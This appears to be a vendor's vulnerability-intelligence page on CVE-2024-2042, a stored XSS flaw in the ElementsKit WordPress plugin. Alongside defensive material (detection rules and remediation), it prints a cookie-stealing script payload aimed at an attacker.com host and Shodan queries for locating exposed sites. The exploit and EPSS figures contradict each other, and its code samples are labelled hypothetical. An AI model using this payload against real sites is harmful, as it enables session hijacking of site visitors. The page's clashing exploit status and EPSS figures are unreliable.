☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2042

CVE-2024-2042 Cross-Site Scripting in Elementskit
📅 PUBLISHED: 2024-03-16 02:34 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2042 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.0.5. The flaw resides in the Image Accordion widget, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious widget. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the ElementsKit plugin distributed via the WordPress plugin repository. As a WordPress ecosystem component, it is not an NPM, PyPI, Go, or Ruby package. However, administrators should verify plugin integrity and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access
  • User Interaction: Required (UI:R) – victim must visit the injected page
  • Scope: Changed (S:C) – impacts resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any visitor to the compromised page is at risk.

Deep Dive & Mechanics

The vulnerability exists in the Image Accordion widget of the ElementsKit plugin. The widget allows users to create an accordion-style image gallery with associated text. The flaw occurs because user-supplied input (e.g., image titles, descriptions, or URLs) is not properly sanitized before being stored in the database and later rendered on the frontend. Specifically, the plugin fails to escape HTML entities or strip malicious JavaScript from these fields.

Attack Flow:

  1. An authenticated attacker with contributor-level access or higher creates or edits a page/post using the Image Accordion widget.
  2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into one of the widget's text fields (e.g., image title or description).
  3. The plugin stores the payload in the WordPress database without proper sanitization.
  4. When any user (including administrators) visits the page, the payload executes in their browser context, allowing the attacker to steal cookies, redirect users, or perform other malicious actions.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_html() or wp_kses() to user input before output. The lack of output escaping in the widget's template file leads to the XSS.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on common fixes for similar XSS vulnerabilities.

Vulnerable Code (elementskit/widgets/image-accordion/template.php):

<div class="ekit-image-accordion-title">
    <?php echo $settings['title']; ?>
</div>
<div class="ekit-image-accordion-description">
    <?php echo $settings['description']; ?>
</div>

Patched Code (hypothetical):

<div class="ekit-image-accordion-title">
    <?php echo esc_html( $settings['title'] ); ?>
</div>
<div class="ekit-image-accordion-description">
    <?php echo esc_html( $settings['description'] ); ?>
</div>

The fix involves wrapping output with esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with ElementsKit plugin version <= 3.0.5
  • Authenticated user account with contributor-level privileges or higher

Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new page or post.
  3. Add the Image Accordion widget via Elementor.
  4. In the widget settings, locate a text field (e.g., "Title" or "Description").
  5. Inject a payload such as:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  6. Save and publish the page.
  7. When an administrator or visitor views the page, the script executes, sending cookies to the attacker.

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team (Detection & Prevention)

Detection:

  • Monitor WordPress logs for unusual widget creation or editing by low-privilege users.
  • Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or Elementor endpoints.
  • Scan pages for unexpected <script> tags in widget content.

Prevention:

  • Disable the Image Accordion widget until a patch is released.
  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/elementskit/widgets/image-accordion/template.php (vulnerable file)
  • Database: Rows in wp_postmeta containing malicious JavaScript in _elementor_data meta key
  • Network: Outbound HTTP requests to attacker-controlled domains from compromised pages
  • Logs: wp-content/debug.log entries showing PHP warnings related to esc_html or wp_kses

Detection Engineering

YARA Rule

rule CVE_2024_2042_ElementsKit_XSS {
    meta:
        description = "Detects malicious JavaScript in ElementsKit Image Accordion widget content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2042"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $widget_marker = "ekit-image-accordion"
    condition:
        $widget_marker and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-2042 ElementsKit Stored XSS Detection
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via ElementsKit Image Accordion widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2042 ElementsKit Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Image Accordion widget by removing or renaming the plugin's widget file (/wp-content/plugins/elementskit/widgets/image-accordion/).
  2. Restrict user roles – only grant contributor access to trusted users.
  3. Apply a virtual patch using a WAF to block XSS payloads in Elementor requests.

Long-term Fix:

  • Monitor the ElementsKit plugin repository for an official patch (version > 3.0.5).
  • Once patched, update the plugin immediately.
  • Consider replacing the plugin with an alternative if no patch is released.

Workaround:

  • Use a security plugin like Wordfence to add input sanitization rules for Elementor widgets.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/elementskit"
http.html:"elementskit" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2042/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.